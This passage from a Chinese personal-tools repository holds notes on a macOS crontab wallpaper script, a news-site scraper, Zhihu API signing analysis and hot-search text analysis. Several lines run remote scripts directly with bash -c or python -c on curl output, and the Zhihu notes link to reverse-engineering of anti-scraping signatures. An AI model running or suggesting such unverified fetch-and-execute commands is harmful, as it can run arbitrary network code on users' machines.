Graphic.heic"'" \ | crontab - # 说明 # crontab - 告诉 crontab 命令从标准输入读取数据,而不是从文件读取数据。 # \ 将命令拆分成多行。注意到反斜杠后面不能有空格或其他字符。 # crontab -e: 编辑当前用户的cron表;-l: 列出当前用户的cron作业;-r: 删除当前用户的cron表 ``` ## demo整理 demo1测试效果 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-05-03%2013.09.49.png) 即时性测试 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-05-03%2014.32.00.png) 将写死的路径,加入`read -p`读取功能,增强通用性。至于时间,我反倒觉得没必要写活,原因如下: 1. 看得懂的朋友会根据自己的需求调整修改 2. 这类“30 18 * * * 1”格式,就像“二进制”,不符合人的常规记忆。(做成字符串变量是最简单的做活了) 3. 自然语言转“30 18 * * * 1”这类特定格式,加入字典处理,条件千变万化的,反而还将简单的问题复杂化了 附源码: ``` # ------- crontab说明 ---------- # crontab - 告诉 crontab 命令从标准输入读取数据,而不是从文件读取数据。 # \ 将命令拆分成多行。注意到反斜杠后面不能有空格或其他字符。 # crontab -e: 编辑当前用户的cron表 # crontab -l: 列出当前用户的cron作业;crontab -r: 删除当前用户的cron表 # ------- crontab说明 ---------- #----- 定时切换壁纸 ------------- # 导出当前定时作业 # crontab -l > my_desktop_cron # 加入前提说明 printf "\n温馨提示 \n" printf "\n macOS系统壁纸目录:/System/Library/Desktop Pictures/ " printf "\n 最后,自定义的壁纸目录文件不要自行删除,造成脚本执行异常。 \n\n" # 设置终端读取变量 read -p "1. 将自定义壁纸拖入到终端: " diy_wallpaper printf "\n" read -p "2. 将系统壁纸拖入到终端: " sys_wallpaper printf "\n" # 保持原样写代码 cat < my_desktop_cron # 周一傍晚六点半,自定义壁纸 30 18 * * 1 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$diy_wallpaper"' # 周一至周四,晚上休息时间十一点十分,切换系统壁纸 10 23 * * 1-4 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$sys_wallpaper"' # 周五傍晚六点半,自定义壁纸 30 18 * * 5 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$diy_wallpaper"' # 周日晚上休息时间十一点十分,切换系统壁纸 10 23 * * 7 osascript -e 'tell application "Finder" to set desktop picture to POSIX file "$sys_wallpaper"' EOF # 设置定时任务 crontab my_desktop_cron # 移除该临时文件 rm my_desktop_cron # 测试打印 printf "\n 定时壁纸任务已完成。\n" #----- 定时切换壁纸 ------------- # ------ 其他测试项 ------------- # 每隔三十天换一次壁纸,“x/30” 从x天之后的30天 # echo "0 0 */30 * * osascript -e 'tell application \"Finder\" to set desktop picture to POSIX file \ # \"~/Pictures/必应壁纸/KlostersSerneus-20230502.png\"'" \ # | crontab - # ------ 其他测试项 ------------- ``` 测试效果 ``` bash -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-shell/mac_corn_diy_wallpaper.sh)" ``` ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-05-03%2014.57.26.png) 这里分享下修改壁纸的玩具代码,只做个抛砖引玉,之后等等之类的功能增强,那就看各位了有心了。 ================================================ FILE: AQUICK/DTRASH/regfinder.md ================================================ ## Registry Finder v2.56 Registry Finder 个人使用挺久的一款的注册表搜索编辑工具,相当文件搜索的 everything 工具。特点:搜索速度极快,支持编辑撤回,软件小巧也就5~6M,而且官网下载极快,且有可以远程自动下载中文包。 官网:https://registry-finder.com 直接下载:https://registry-finder.com/bin/2.56.0.0/RegistryFinderSetup2.56.exe 在 Help 选项的 Language 点击进去,软件会识别系统语言据此下载对应语言包。 ![](https://s2.xptou.com/2023/04/02/6429642b6a29b.png) ![](https://s2.xptou.com/2023/04/02/6429642b99a9e.png) ![](https://s2.xptou.com/2023/04/02/6429642b9afa8.png) 顺便给出注册表文档资料,方便大家学习。 权威官方: * https://admx.help * https://learn.microsoft.com/zh-cn/windows/win32/apiindex/windows-api-list * https://learn.microsoft.com/zh-cn/previous-versions/windows/ 第三方: * [康涅狄格大学知识库-Understanding the Registry on Windows](https://kb.uconn.edu/space/IKB/10737647782/Understanding+the+Registry+on+Windows) * [谷歌文档-Microsoft Windows XP Registry Guide](https://drive.google.com/file/d/0B1XWS61nCeNPNWNhM2U1MTAtNmJmOS00YmI4LWFhNGItZGZlN2Q2OTRmNWMz/view?hl=en_GB&resourcekey=0-P3S3Zh9mF3wvxTdU94afDA) * [howtogeek-using windows admin tools like a pro](https://www.howtogeek.com/school/using-windows-admin-tools-like-a-pro/lesson5/) * https://en.wikipedia.org/wiki/Windows_Registry * https://www.netadmintools.com (辅助) 我的经验是拿百科先了解一下,然后就是走官方或第三方知识数据库,最后才是谷歌文档、百度文库、CSDN、博客园。中途遇到什么问题,才会查查CSDN、博客园之类的,然后再溯源到官方文档。 ================================================ FILE: AQUICK/DTRASH/xlgzgxwwpc.md ================================================ # 写了一个中国新闻网爬虫 **免责声明:此爬虫仅供学习和研究目的使用。使用者应遵守相关国家和地区的法律法规,不得将本爬虫用于任何违反法律法规或侵犯他人合法权益的行为。最后,使用者应自行承担使用本爬虫所带来的风险和责任。如果不同意以上声明,你应该立即停止使用本爬虫。** 这主要是受[csdn-Python爬取新闻信息,分词统计并画词云](https://blog.csdn.net/xukeke12138/article/details/117167932)启发,中途也写了百度热搜的爬虫,对繁杂的新闻条目进行精细分类,涉及到AI与机械学习方面,我试了试,觉得工程量还是太大了,还不如用这个中国新闻网现成的分类。再考虑到上述文章的源码不大易读,以及附加了词云之类的库,要想跨平台还是有些不便,就自己写一个吧。 本地测试,效果如图: ![catch2023-05-01 21.13.59](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-05-01%2021.13.59.png) (注:Windows多半是要注释掉 `r.encoding='utf-8'` ,保存路径多半是家目录或`c:/Windows/System32`) 在线测试 ``` python -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-python/get_chinanews.py)" ``` ![catch2023-05-01 21.34.55](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-05-01%2021.34.55.png) 附源码:https://github.com/hoochanlon/ihs-simple/blob/main/d-python/get_chinanews.py ``` import requests from bs4 import BeautifulSoup from openpyxl import Workbook from datetime import datetime # -----参考文档,三件套------- # https://docs.python-requests.org/en/latest/ # https://www.crummy.com/software/BeautifulSoup/bs4/doc/ # https://openpyxl.readthedocs.io/en/stable/ # https://docs.python.org/3/library/stdtypes.html#str.strip (切片) # -----参考文档,三件套------- # 5.1 新增时间格式规范化输出文件名 # 获取当前时间 now = datetime.now() # 将时间格式化为指定的字符串格式 formatted_time = now.strftime('%Y-%-m-%-d') # 创建一个Workbook对象,用于Excel的读写 wb = Workbook() # 添加一个Sheet页,并且指定Sheet名称 sheet = wb.active sheet.title = 'Sheet1' # 定义变量row,用于循环时控制每一行的写入位置 row = 1 # 添加表头 sheet['A1'] = '栏目' sheet['B1'] = '标题' sheet['C1'] = '时间' # 遍历页码1从2页 for page_num in range(1,3): # f-string url = f"https://www.chinanews.com.cn/scroll-news/news{page_num}.html" # 反爬通用套码 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' } r = requests.get(url, headers=headers) r.encoding='utf-8' soup = BeautifulSoup(r.text, 'html.parser') # 遍历栏目、标题和时间 dangdu_lanmu = soup.find_all('div', class_='dd_lm') dangdu_biaoti = soup.find_all('div', class_='dd_bt') dangdu_time = soup.find_all('div', class_='dd_time') # 追加具体数据 for news_num in range(len(dangdu_lanmu)): sheet.append([dangdu_lanmu[news_num].text.strip('[]'), dangdu_biaoti[news_num].text, dangdu_time[news_num].text]) # row=row+1 row += 1 # 保存Excel文件 wb.save("chinanews_{}.xlsx".format(formatted_time)) ``` 配合一些大数据分析的论文食用更佳: * 许诺、唐锡晋 -《基于百度热搜新闻词的社会风险事件5W提取研究》(中国科学院、中国科学院大学,《系统工程理论与实践》,Vol.40, No.2, Feb., 2020) * 毛贺祺 -《大数据背景下微博热搜的新闻阅读服务功能》(吉林大学文学院, 2017年3月) * 王小新 -《当前我国受众网络新闻的阅读...读倾向——以百度热搜词为例》(上海理工大学,《今传媒》2013年第9期) * 喻国明 -《大数据分析下的中国社会舆情 总体态势与结构性特征》(中国人民大学,中国人民大学学报,2013年第5期) 举例来说,就是简单的数据对比与分析: ![catch2023-05-01 22.15.40](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-05-01%2022.15.40.png) ================================================ FILE: AQUICK/DTRASH/zhihu.md ================================================ ## 知乎整体概况 大众型话题类问答网站是一个多领域覆盖广泛的平台,汇集了人们对各种话题的独特见解和观点。不论是科技、文化、社会、娱乐,还是其他领域,都能在这个网站找到相关的问题和讨论。每个话题都有其独特之处,人们在这里分享自己的知识、经验和观点,相互交流和学习。尽管这种网站在提供广泛讨论平台方面有着积极的作用,但也存在一些问题需要注意。 首先,话题的广泛性可能导致信息质量参差不齐。在大量的讨论中,有些信息可能不准确、片面或缺乏可靠来源。用户需要保持批判性思维,主动筛选和验证信息的可信度。 其次,匿名性可能导致滥用和不当行为。一些用户可能会利用匿名性发表攻击性言论、散布谣言或传播仇恨。为了营造良好的交流环境,平台应加强管理措施,鼓励用户进行文明交流,并对违规行为进行处理。 另外,信息过载可能使用户感到无所适从,难以找到有价值的信息。平台可以通过优化搜索算法、引入个性化推荐等方式,帮助用户更有效地获取他们感兴趣的内容。 最后,开放性可能使得一些违反法律法规或伦理道德的内容出现在网站上。平台需要建立严格的审核机制,遵守法律法规,屏蔽或删除不合规内容,保护用户的权益和利益。 综上所述,大众型话题类问答网站虽然能提供广泛的讨论平台,但需注意解决信息质量、滥用行为、信息过载和合规性等方面的问题,以确保内容质量和用户体验。 ## 知乎内容选择上 知乎问答内容仍然以图文形式为主要表达方式,大多数回答都是图文并茂且篇幅较长,具有一定的内涵和特定时期人物及背景因素。与大多数新闻或短评不同的是,知乎回答不能仅凭关键词就能够快速而精确地分类和整合。因此在爬虫爬取题材内容设计上存在不小的难度。 [叶赛文 - 如何对知乎的回答,按照点赞量排序](http://yesaiwen.com/how-to-sort-zhihu-answer-by-likes/)虽是手动化的,不过整体的爬取内容设计较合理,思路清晰。先用油猴脚本对知乎问答进行排序,安装采集器进行点赞数、评论数及内容方面进行综合性的筛选与整合,最后批量打开网页查看具体回答并分析。以及[csdn - Python爬虫实战一:抓取知乎问题下所有回答](https://blog.csdn.net/weixin_40796925/article/details/120314374)的表头版面设计清晰得当,具体有:作者、粉丝、内容、发布时间、更新时间、回复数、链接。整体看上去效果不错。这两者都可以作为我的参考对象。 ================================================ FILE: AQUICK/DTRASH/zhihuapi.md ================================================ # 知乎API分析 回答者基本信息 ``` https://www.zhihu.com/api/v4/members/zong-you-diao-min-xiang-hai-zhen-1-58-56?include=allow_message%2Cis_followed%2Cis_following%2Cis_org%2Cis_blocking%2Cemployments%2Canswer_count%2Cfollower_count%2Carticles_count%2Cgender%2Cbadge%5B%3F%28type%3Dbest_answerer%29%5D.topics ``` 关联问题 ``` https://www.zhihu.com/api/v4/questions/562083816/similar-questions?include=data%5B*%5D.answer_count%2Cauthor%2Cfollower_count&limit=5&answer_id=3 ``` 回答 ``` https://www.zhihu.com/api/v4/questions/562083816/feeds?cursor=377cfc0f521fa6e6ca782136cd937fe6&include=data%5B%2A%5D.is_normal%2Cadmin_closed_comment%2Creward_info%2Cis_collapsed%2Cannotation_action%2Cannotation_detail%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cattachment%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Ccreated_time%2Cupdated_time%2Creview_info%2Crelevant_info%2Cquestion%2Cexcerpt%2Cis_labeled%2Cpaid_info%2Cpaid_info_content%2Creaction_instruction%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%3Bdata%5B%2A%5D.mark_infos%5B%2A%5D.url%3Bdata%5B%2A%5D.author.follower_count%2Cvip_info%2Cbadge%5B%2A%5D.topics%3Bdata%5B%2A%5D.settings.table_of_content.enabled&limit=5&offset=0&order=default&platform=desktop&session_id=1688828905373224118 ``` ``` https://www.zhihu.com/api/v4/questions/562083816/feeds?page=3&session_id=1688854656455617606 ``` [知乎,爬虫,x-zse-86 2.0](https://www.victue.com/2021/03/30/zhihu_answer/),从这文中得知,知乎做了加密处理。阅读其他文章了解加密内容: * [cnblogs - 知乎加密参数x-zse-96详解](https://www.cnblogs.com/xiaowangba9494/p/15934907.html) * [知乎 - 分析 分析 知乎加密算法 最新 x-zse-96](https://zhuanlan.zhihu.com/p/419576219) * [csdn -2021年6月知乎指定问题信息爬取 & x-zse-96 2.0版本加密破解分析 爬虫破解反扒思路](https://blog.csdn.net/qq_26394845/article/details/118183245) * [思否 - 某乎搜索接口zse96参数逆向分析【2022.11版本】](https://segmentfault.com/a/1190000042751896) * [52pojie - 某乎x-zse-96签名算法python重写(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1631378-1-1.html) * [python 爬虫 js逆向](https://juejin.cn/s/python%20爬虫%20js逆向) * [知乎参数咋加密的呀 dsrx-2000/spider_collection/issues/18 ](https://github.com/srx-2000/spider_collection/issues/18) npm idealTree:lib: sill idealTree buildDeps * [csdn - 设置npm源的几种方式](https://blog.csdn.net/u010856177/article/details/126851940) * [ERROR:Node Sass version 7.0.1 is incompatible with ^4.0.0.](https://www.cnblogs.com/Merrys/p/16905691.html) ================================================ FILE: AQUICK/DTRASH/zixfx.md ================================================ ## 常见平台热搜与辟谣信息分析 ### 一键获取今日头条、抖音、微博热搜。[图文版](https://www.52pojie.cn/thread-1785460-1-1.html) (NLP:[Stanza](https://stanfordnlp.github.io/stanza/data_objects.html)) ``` python -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-python/get_resou_today_s.py)" ``` * 自动化分类;整体匹配率:84%~96% 区间左右。 * 词频统计;三者共存的热搜,说明为持久公共热度,信息密度较高。 * 文本情感平均值、每条标题的情感数值;主:人为置顶热搜的文本情绪强烈程度。 * 词性分析;标记可能存有引导与被植入意识成分用词,只要定语、状语叠得多,总能是宣传正态形势。 微博在自动化分类中,噪音三者最大,信息价值低,话题含水量大,失真度偏高;各家平台的热搜标题也存有未标识谣言成分,最好用[国家辟谣平台查询](https://www.piyao.org.cn/pysjk/frontsql.htm)鉴别其真伪;虽然娱乐属性极重,但微博其本身具有一对多公共属性的社交模式,当某个社会事件被挂上热搜,它可在短时间内迅速传播信息,引发公众的关注和讨论。 推荐论文: * 毛贺祺《大数据背景下微博热搜的新闻阅读服务功能》吉林大学新闻学专业硕士学位论文,2017.3
* 喻国明《大数据分析下的中国社会舆情 总体态势与结构性特征》中国人民大学学报,2013年第5期
* 王小新《当前我国受众网络新闻的阅读倾向——以百度热搜词为例》《今传媒》,2013年第9期
* 许诺《基于百度热搜新闻词的社会风险事件5W提取研究》《系统工程理论与实践》,2022年第40卷第2期
### 自动化收集辟谣条目及语言分析(NLP:[ThuLAC](https://github.com/thunlp/THULAC-Python)) 功能大体与上例相当,对词频的较高词语进行语法分析。 ``` python -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-python/get_rumor_analysis.py)" ``` 对谣言的定义:阿尔波特(Gordom W.Allport)和波兹曼(Leo Postman)最早为谣言下了定义,即谣言是一个与当时事件相关联的命题,是为了使人相信,一般以口传媒介的方式在人们之间流传,但是却缺乏具体的资料以证实其确切性。[1] 谣言概念界定:究其本质而言,谣言普遍具有的属性,一是广泛传播,二是不确定性,基于此,本文将谣言界定为被广泛传播的、含有极大的不确定性的信息。“不确定性”主要是指对信息真实与否的不确定性。[2] 目前,在突发事件中的各类谣言中,有明确目标性和破坏性的攻击型谣言和以实现政治、经济等利益为目标的宣传型或牟利型谣言出现的频率较低。多数谣言是出于恐惧心理和基于错误的认识判断而形成的。[3] 从这次的谣言收集分析已证明,最大的两个类别是,社会话题与健康饮食,两者分别占比48%、43%。 但“后真相”时代多元文化的糅合共存和碎片化的解读方式加剧了民众的价值分歧,侵蚀了信任防线。一方面,复杂的利益诉求、多元的社会思潮与多样的传播方式交织叠加,催生出“后真相”时代多元的网络文化,加大了主流与非主流文化之间的碰撞和摩擦。虽然非主流文化是主流文化的有益补充,但诸如佛系文化、网红文化、躺平文化等难免有背离主流文化的消极因素,尤其是污丑文化、拜金文化等更是尽显畸形审美和金钱至上的错误思想,若不加警惕和批判,极易误导一些认知不足、阅历不够的受众,诱发政治偏见,不断冲击和侵蚀业已形成的政治信任。另一方面,“后真相”时代人们面对海量信息,惯以碎片化的方式拼凑事实、解读真相。一旦关涉社会分化、利益分配、政治腐败和政策失误等复杂的政治谣言鉴别,人们极易陷入碎片化信息的不断解读和重组,制造出多种“真相”,并借此持续发酵,非但无益于阻断网络政治谣言的传播,反而会频繁质疑已有政治共识,造成政治信任的流失,为谣言惑众创设了可能。[4] 就参考 [4] 来说,个人生活无非涉及钱的吃穿住行,社会分化也是正常现象,“个人-集体”、“集体-个人”的差异、非一致性,这话更多“是以国家建设为中心”为首纲。下面这两条信息很值得参考研究: * [知乎 - 如何看待央视新视频【靠力气赚钱心里才踏实,是无数平凡人的生活信仰】?](https://www.zhihu.com/question/587740721/answer/2952171143) * [bilibili - 说我摸,说我摆,谁在意劳动者的无奈?](https://www.bilibili.com/video/BV1ss4y1M72E) ### B站饭圈层弹幕收集(分析中) 以社会民生话题种类繁多,不大适合定量分析研究B站Z世代用户。如果是将研究样本限定在“二次元”、“某CP党”,做定向的特质分析,无疑是个很好的突破口。查阅了几篇资料,针对Z世代标新立异的话语,不少文章都共同提及了:“缘趣群体”、“群体认同”、“亚文化圈层”、“解构重构”、“詹姆斯·凯瑞”,这几个关键词。这里以“磕CP”作为入手方向。(**做为社会中的个体,人的喜好专长,二者是离散且多元性的。**) 原因自然是多方面的,现实的无趣 、欲望的驱动、游戏的追求 …… 但本质原因之一 ,是来自受众对于“现实”/“真实”以及其所指代和承诺的价值、情感的不信任,于是转身投入对虚拟情感/虚假情感的沉迷之中。在影院观赏爱情电影之所以那么富有魅力,是因为对人们内心深处的那些渴望的、私密的情感进行了合理化的影像化呈现,黑暗背景中的电影院与银幕也成为人们享受私人化情感释放的理想化场所 。[5] 后情感主义是美国社会学家斯捷潘·梅斯特罗维奇( Stjepan G. Metrovic)提出的理论。所谓“后情感”,区别于人类的本真情感,指向一种“新的被智识化、机械化、大众媒体生产的情感”。本真情感异化为替代或虚拟的情感(“后情感”),成为文化工业批量生产并出售的一种商品。[6] 在后情感主义时代,“情感已不必指向以往至 高无上的客观真实,而只须满足公众的快感欲求”。文艺作品不再取材于真实、表现人类本真情感,而是营造悬浮的“爱情神话”以催生“虚假欲求”,满足公众快感;公众不再需要费心建立并维持一段亲密关系,而是仅仅通过消费媒介产品就可以获得超越日常生活的类情感体验 。[7]

[1]  胡琦《全媒体时代网络谣言产生的心理机制与治理路径》,《社会科学家》2022年第11期,135页
[2]  雷霞《老年群体的谣言认知不协调及其纠偏机制》,《现代传播》2023年第3期,
[3]  胡琦《社会科学家·全媒体时代网络谣言产生的心理机制与治理路径》,2022年第11期,137页
[4]  杨芸伊,赵惜群(两人均属马克思主义学院)《“ 后真相 ” 时代网络政治谣言的表征 、归因及治理》,湖南科技大学学报(社会科学版),2022年第11期,155页
[5]、[6]、[7]  石小溪《“再生影像”的双重媒介特性与文化逻辑 —— B站的“CP向”混剪视频为例》,《电影文学》2022年第23期,27页
================================================ FILE: AQUICK/DTRASH/zzchinanewslc.md ================================================ # 制作中国新闻网爬虫的历程 这主要是受[csdn-Python爬取新闻信息,分词统计并画词云](https://blog.csdn.net/xukeke12138/article/details/117167932)启发,中途也写了百度热搜的爬虫,对繁杂的新闻条目进行精细分类,涉及到AI与机械学习方面,工程量还是太大了,那我不如用这个中过新闻网现成的分类。考虑到文章源码相对来说并不是那么易读,以及附加了词云之类的库,要想跨平台还是有些不便,就自己写一个吧。 ## 编码过程 ### 01 simple demo(标题遍历) 简单试手遍历新闻标题,如图div部分,“lm”、“time”,都能进行简单的遍历。 ![catch2023-04-30 21.31.51](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-04-30%2021.31.51.png) 01 simple demo 源码 ```python import requests from bs4 import BeautifulSoup # ---- 常规操作 ------- url = 'https://www.chinanews.com.cn/scroll-news/news1.html' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' } r = requests.get(url, headers=headers) r.encoding='utf-8' soup = BeautifulSoup(r.text, 'html.parser') # ----- 遍历 --------- dangdu_biaoti = soup.find_all('div', class_='dd_bt') for div in dangdu_biaoti: print(div.text) ``` 效果如下 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-04-30%2021.16.04.png) ### 02 simple demo(页码遍历) https://www.chinanews.com.cn/scroll-news/news1.html ,做个遍历链接,再遍历内容也是可行的。 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-04-30%2021.48.40.png) 02 simple demo 源码 ```python import requests from bs4 import BeautifulSoup # ---- 遍历页码从1到10 ------- for i in range(1, 11): # f-string url = f"https://www.chinanews.com.cn/scroll-news/news{i}.html" # 反爬通用套码 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' } r = requests.get(url, headers=headers) r.encoding='utf-8' soup = BeautifulSoup(r.text, 'html.parser') # ----- 遍历标题 (dd_time dd_lm 已测可行) --------- dangdu_biaoti = soup.find_all('div', class_='dd_bt') for div in dangdu_biaoti: print(div.text) ``` ### 03 simple demo(debug) **不恰当的for循环逻辑,导致各列各项“错位”** 错误演示demo ```python # 错位了 # 遍历栏目 dangdu_lanmu = soup.find_all('div', class_='dd_lm') for div in dangdu_lanmu: # 将标题文本写入第2列(即A列),第row+1行中 sheet.write(row, 0, div.text) row += 1 # 写入下一行 # 遍历标题 (dd_time dd_lm 已测可行) dangdu_biaoti = soup.find_all('div', class_='dd_bt') for div in dangdu_biaoti: # 将标题文本写入第2列(即B列),第row+1行中 sheet.write(row, 1, div.text) row += 1 # 写入下一行 # 遍历时间 dangdu_time = soup.find_all('div', class_='dd_time') for div in dangdu_time: # 将标题文本写入第2列(即C列),第row+1行中 sheet.write(row, 2, div.text) row += 1 # 写入下一行 ``` A、B、C列发生了偏移 ![catch2023-04-30 23.59.05](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-04-30%2023.59.05.png) **将A、B、C列的项目并排齐头的二种方式** 方式一:先把表头占据,2起步。 ```python # 添加表头 sheet['A1'] = '栏目' sheet['B1'] = '标题' sheet['C1'] = '时间' # 定义变量row,用于循环时控制每一行的写入位置 row = 2 # 遍历栏目、标题和时间 dangdu_lanmu = soup.find_all('div', class_='dd_lm') dangdu_biaoti = soup.find_all('div', class_='dd_bt') dangdu_time = soup.find_all('div', class_='dd_time') for j in range(len(dangdu_lanmu)): # 将栏目、标题和时间分别写入第1列、第2列和第3列,第j+row行中 sheet.cell(row=row, column=1, value=dangdu_lanmu[j].text) sheet.cell(row=row, column=2, value=dangdu_biaoti[j].text) sheet.cell(row=row, column=3, value=dangdu_time[j].text) ``` 同理于 ```python # 添加表头 sheet.write(0, 0, '栏目') sheet.write(0, 1, '标题') sheet.write(0, 2, '时间') # 定义变量row,用于循环时控制每一行的写入位置 row = 1 # 遍历栏目、标题和时间 dangdu_lanmu = soup.find_all('div', class_='dd_lm') dangdu_biaoti = soup.find_all('div', class_='dd_bt') dangdu_time = soup.find_all('div', class_='dd_time') for j in range(len(dangdu_lanmu)): # 将栏目、标题和时间分别写入第1列、第2列和第3列,第j+row行中 sheet.cell(row=row, column=1, value=dangdu_lanmu[j].text) sheet.cell(row=row, column=2, value=dangdu_biaoti[j].text) sheet.cell(row=row, column=3, value=dangdu_time[j].text) ``` 方式二:使用append,精简化 ```python # 定义变量row,用于循环时控制每一行的写入位置 row = 1 # 添加表头 sheet['A1'] = '栏目' sheet['B1'] = '标题' sheet['C1'] = '时间' # 遍历栏目、标题和时间 dangdu_lanmu = soup.find_all('div', class_='dd_lm') dangdu_biaoti = soup.find_all('div', class_='dd_bt') dangdu_time = soup.find_all('div', class_='dd_time') # 追加具体数据 for news_num in range(len(dangdu_lanmu)): sheet.append([dangdu_lanmu[news_num].text, dangdu_biaoti[news_num].text, dangdu_time[news_num].text]) # row=row+1 row += 1 ``` 效果如图 ![catch2023-05-01 00.23.35](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-05-01%2000.23.35.png) 03 simple demo ```python import requests from bs4 import BeautifulSoup from openpyxl import Workbook # -----参考文档,三件套------- # https://docs.python-requests.org/en/latest/ # https://www.crummy.com/software/BeautifulSoup/bs4/doc/ # https://openpyxl.readthedocs.io/en/stable/ # -----参考文档,三件套------- # 创建一个Workbook对象,用于Excel的读写 wb = Workbook() # 添加一个Sheet页,并且指定Sheet名称 sheet = wb.active sheet.title = 'Sheet1' # 定义变量row,用于循环时控制每一行的写入位置 row = 1 # 添加表头 sheet['A1'] = '栏目' sheet['B1'] = '标题' sheet['C1'] = '时间' # 遍历页码从1到2 for page_num in range(1,2): # f-string url = f"https://www.chinanews.com.cn/scroll-news/news{page_num}.html" # 反爬通用套码 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' } r = requests.get(url, headers=headers) r.encoding='utf-8' soup = BeautifulSoup(r.text, 'html.parser') # 遍历栏目、标题和时间 dangdu_lanmu = soup.find_all('div', class_='dd_lm') dangdu_biaoti = soup.find_all('div', class_='dd_bt') dangdu_time = soup.find_all('div', class_='dd_time') # 追加具体数据 for news_num in range(len(dangdu_lanmu)): sheet.append([dangdu_lanmu[news_num].text.strip('[]'), dangdu_biaoti[news_num].text, dangdu_time[news_num].text]) # row=row+1 row += 1 # 保存Excel文件 wb.save('output.xlsx') ``` ## 做统计饼图遇到的问题 ### 01 数据格式 代码生成的output.xlsx清除内容做了简单的数据统计测试,出现了饼图“不显示”的问题,但新建的Excel表填入一样数据,测试后却并没问题。 问题如图所示 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/644f6144e2085.png) 中途发现:[知乎专栏-用原生的方式操作Excel,Python玩转Excel神器xlsxwriter详解!](https://zhuanlan.zhihu.com/p/350242120)、[csdn-python实现——处理Excel表格(超详细)](https://blog.csdn.net/weixin_44288604/article/details/120731317);最后参考这篇[csdn-excel无法做图,是因为数据格式的原因](https://blog.csdn.net/weixin_41470864/article/details/88928506)解决的,我推测这个问题是我复制了表头,随手粘贴连同属性也一块复制进去了,所造成的。 ![catch2023-05-01 13.45.49](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-05-01%2013.45.49.png) ### 02 筛选统计 无意间点到数据透视图,如下图以标题对应着栏目数,查了 [microsoft-设计数据透视表的布局和格式](https://support.microsoft.com/zh-cn/office/设计数据透视表的布局和格式-a9600265-95bf-4900-868e-641133c05a80)对“轴”与“值”的说明,我觉得其类似于键值对的设计,当做统计汇总时,“轴”相当于分组和分类的列、"值"相当于的统计的数目的列。 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/catch2023-05-01%2018.46.04.png) 问及人资同事有关于报表方面的制作,他推荐了 https://www.tubiaoxiu.com ,从使用上确实简单了不少。 ![201682934896_.pic](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/201682934896_.pic.jpg) ================================================ FILE: AQUICK/category_news.json ================================================ { "娱乐": [ "太酷了", "Cool", "打赏", "重生", "魔兽", "甜度", "心眼", "上班", "限定", "头一次", "王力宏", "亲情", "vlog", "害羞", "撩", "热搜", "王嘉尔", "热词", "主打", "歌王", "歌神", "赛文", "李小璐", "风格", "贾乃亮", "模仿", "新版", "公堂", "TFBOYS", "依旧", "下作", "GUCCI", "倪妮", "迪迦", "奥特曼", "傲娇", "病娇", "张萌", "复婚", "折腰", "火热", "文案", "四大", "ins", "三观", "舍利", "隐情", "大神", "热舞", "入围", "牛人", "over", "OVER", "Over", "forever", "FOREVER", "Forever", "Nerver", "NERVER", "NO", "任性", "no", "YES", "Yes", "YYDS", "影帝", "影后", "奇人", "高人", "奇", "高手", "包皮", "IP", "阴茎", "反感", "日常", "艾伦", "赌王", "伴郎", "现身", "赌侠", "赌圣", "行为", "福彩", "彩票", "驱魔", "风水", "占卜", "算卦", "算命", "酷", "觉醒", "洪荒", "弹唱", "抵押", "贷款", "贷", "diss", "女主", "男主", "婚礼", "下线", "对象", "白嫖", "离婚", "特质", "恋情", "纵欲", "禁欲", "天曜", "律师函", "追星", "开播", "给力", "奥利给", "转场", "大佬", "京城", "四少", "丽江", "三少", "表演", "少爷", "光棍", "少奶奶", "白眼", "彩虹", "很多", "入职", "无论", "Faker", "赛亚人", "街霸", "维吉尔", "贵族", "但丁", "李昂", "汤米", "维斯", "维赛迪", "卡卡罗特", "贝吉塔", "佐助", "卡卡西", "鸣人", "路飞", "圆神", "碍事梨", "后悔", "wink", "好真诚", "好", "远点", "离远点", "滚啊", "滚", 